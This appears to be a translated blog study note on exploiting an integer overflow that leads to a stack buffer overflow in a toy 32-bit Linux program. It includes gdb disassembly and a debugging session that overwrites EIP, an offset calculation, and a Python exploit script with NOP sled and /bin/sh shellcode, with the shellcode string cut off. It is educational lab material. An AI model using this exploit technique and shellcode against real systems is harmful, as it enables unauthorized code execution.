Integer overflow
Virtual Machine Installation: Ubuntu 12.04 (x86)
What is integer overflow?
Storing a value larger than the maximum supported value is called integer overflow. Integer overflow by itself does not lead to arbitrary code execution, but integer overflow can lead to stack overflow or heap overflow, which can lead to arbitrary code execution. In this post, I will only talk about integer overflow causing stack overflow, integer overflow causing heap overflow will be discussed in a separate post later.
It's annoying to copy and paste the content behind, let's talk about the key points!
See the original text: https://bbs.pediy.com/thread-216869.htm
The explanation of this article is much clearer than the previous one. I believe I can understand it. The only thing I don't understand is the same as the previous one. It is still a problem of address calculation.
Also use gdb to debug: gdb -q vuln
The following explains how I found the address (virtual machine environment Ubuntu14.04 32-bit system, gcc 4.8.2)
First use disassemble to view the assembly code to see the assembly code layout of the program:
1 (gdb) disassemble validate_passwd 2 Dump of assembler code for function validate_passwd: 3 0x08048507 <+0>: push %ebp 4 0x08048508 <+1>: mov %esp,%ebp 5 0x0804850a <+3>: sub $0x28,%esp 6 0x0804850d <+6>: mov 0x8(%ebp),%eax 7 0x08048510 <+9>: mov %eax,(%esp) 8 0x08048513 <+12>: call 0x80483e0 <strlen@plt> 9 0x08048518 <+17>: mov %al,-0x9(%ebp) 10 0x0804851b <+20>: cmpb $0x3,-0x9(%ebp) 11 0x0804851f <+24>: jbe 0x8048554 <validate_passwd+77> 12 0x08048521 <+26>: cmpb $0x8,-0x9(%ebp) 13 0x08048525 <+30>: ja 0x8048554 <validate_passwd+77> 14 0x08048527 <+32>: movl $0x8048670,(%esp) 15 0x0804852e <+39>: call 0x80483b0 <puts@plt> 16 0x08048533 <+44>: mov 0x804a040,%eax 17 0x08048538 <+49>: mov %eax,(%esp) 18 0x0804853b <+52>: call 0x8048390 <fflush@plt> 19 0x08048540 <+57>: mov 0x8(%ebp),%eax 20 0x08048543 <+60>: mov %eax,0x4(%esp) 21 0x08048547 <+64>: lea -0x14(%ebp),%eax 22 0x0804854a <+67>: mov %eax,(%esp) 23 0x0804854d <+70>: call 0x80483a0 <strcpy@plt>
Well, I found that the compiler has not changed much, that is, the strlen function is directly embedded, and no function call (the usual practice of library functions) is used, so I won't explain much.
(gdb) list Take a look at the source code for easy breakpoints
(gdb) b validate_passwd 下断
Then happily run as the author says
Below are the debugging steps
1 Reading symbols from vuln...done. 2 (gdb) b validate_passwd 3 Breakpoint 1 at 0x804850d: file vuln.c, line 14. 4 (gdb) r sploitfun `python -c 'print "A"*261'` 5 Starting program: /home/jourluohua/work/test2/vuln sploitfun `python -c 'print "A"*261'` 6 7 Breakpoint 1, validate_passwd ( 8 passwd=0xbffff6b6 'A' <repeats 200 times>...) at vuln.c: 14 9 14 unsigned char passwd_len = strlen( passwd ); /* [1] */ 10 (gdb) n //Single-step debugging, we want to see if the execution is what we think The key code is not, obviously not the key code here 11 15 if (passwd_len >= 4 && passwd_len <= 8 ) { /* [2] */ 12 (gdb) n 13 16 printf( " Valid Password\n " ) ; /* [3] */ 14 (gdb) p passwd_len //This is the key point, but if it is correct, passwd_len should be 'A', it is likely that the program has not been executed 15 $ 1 = 5 ' \005 ' 16 (gdb) n 17 Valid Password 18 17 fflush(stdout); 19 (gdb) n 20 18 strcpy(passwd_buf, passwd ); /* [4] */ 21 (gdb) n 22 23 store_passwd_indb(passwd_buf); /* [6] */ 23 (gdb) p passwd_len //Well finally we got where we wanted 24 $ 2 = 65 ' A ' 25 (gdb) p &passwd_len //The address of passwd_len, since the stack is used, we care about the memory layout 26 $ 3 = (unsigned char *) 0xbffff46f ' A ' <repeats 200 times> ... 27 (gdb) p buf //hand error , for no reason 28 $ 4 = 0x0 29 (gdb) n 30 24 } 31 (gdb) p passwd_buf //passwd_buf value is also correct 32 $ 5 = ' A ' <repeats 11 times> 33 (gdb) p &passwd_buf[ 0 ] // passwd_bufThe address is also the same as we imagined 34 $ 6 = 0xbffff464 ' A ' <repeats 200 times> ... 35 (gdb) p/ x $eip // obviously not covered yet 36 $ 7 = 0x8048578 37 (gdb) p / x $ebp //This is not really making up the number of words, the address of ebp is very important 38 $ 8 = 0xbffff478 39 (gdb) n 40 0x41414141 in ?? () 41 (gdb) p/ x $eip //Okay, already covered 42 $ 9 = 0x41414141 43 (gdb) p/x $ebp 44 $10 = 0x41414141 45 (gdb)
According to my comment above, I believe that everyone has a certain understanding of the debugging process. Now let's talk about the calculation of the address.
$ebp - &passwd_buf[0] +4 = 0x18 = $eip - &passwd_buf[0]
This is called a memory offset, and with this, our ret_addr can be calculated
ret_addr= 0xbffff464 +0x18 + 100
Still the old rules, attach my exp.python code
1 #exp.py 2 #!/usr/bin/env python 3 import struct 4 from subprocess import call 5 6 arg1 = "sploitfun" 7 8 #Stack address where shellcode is copied. 9 ret_addr = 0xbffff4e0 10 11 #Spawn a shell 12 #execve(/bin/sh) 13 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$ 14 15 #endianess convertion 16 def conv(num): 17 return struct.pack("<I",num)#unk + RA + NOP's + Shellcode 18 arg2 = "A" * 24 19 arg2 += conv(ret_addr); 20 arg2 += "\x90" * 100 21 arg2 += scode 22 arg2 += "C" * 108 23 24 print "Calling vulnerable program" 25 call(["./vuln", arg1, arg2])